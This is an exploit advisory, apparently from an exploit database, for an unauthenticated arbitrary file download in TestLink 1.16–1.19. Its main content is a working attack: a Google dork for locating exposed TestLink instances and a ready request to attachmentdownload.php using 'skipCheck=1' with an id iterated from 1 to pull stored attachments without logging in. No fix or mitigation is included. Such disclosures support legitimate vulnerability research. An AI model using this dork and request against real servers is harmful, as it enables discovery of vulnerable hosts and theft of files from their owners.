TestLink 1.19 - Arbitrary File Download (Unauthenticated)

# Exploit Title: TestLink 1.19 - Arbitrary File Download (Unauthenticated)
# Google Dork: inurl:/testlink/
# Date: 07/12/2021
# Exploit Author: Gonzalo Villegas (Cl34r)
# Exploit Author Homepage: https://nch.ninja
# Vendor Homepage: https://testlink.org/
# Version:1.16 <= 1.19
# CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

You can download files from "/lib/attachments/attachmentdownload.php", passing directly in URL the id of file listed on database, otherwise you can iterate the id parameter (from 1)

Vulnerable URL: "http://HOST/lib/attachments/attachmentdownload.php?id=ITERATE_THIS_ID&skipCheck=1"

for research notes:
https://nch.ninja/blog/unauthorized-file-download-attached-files-testlink-116-119/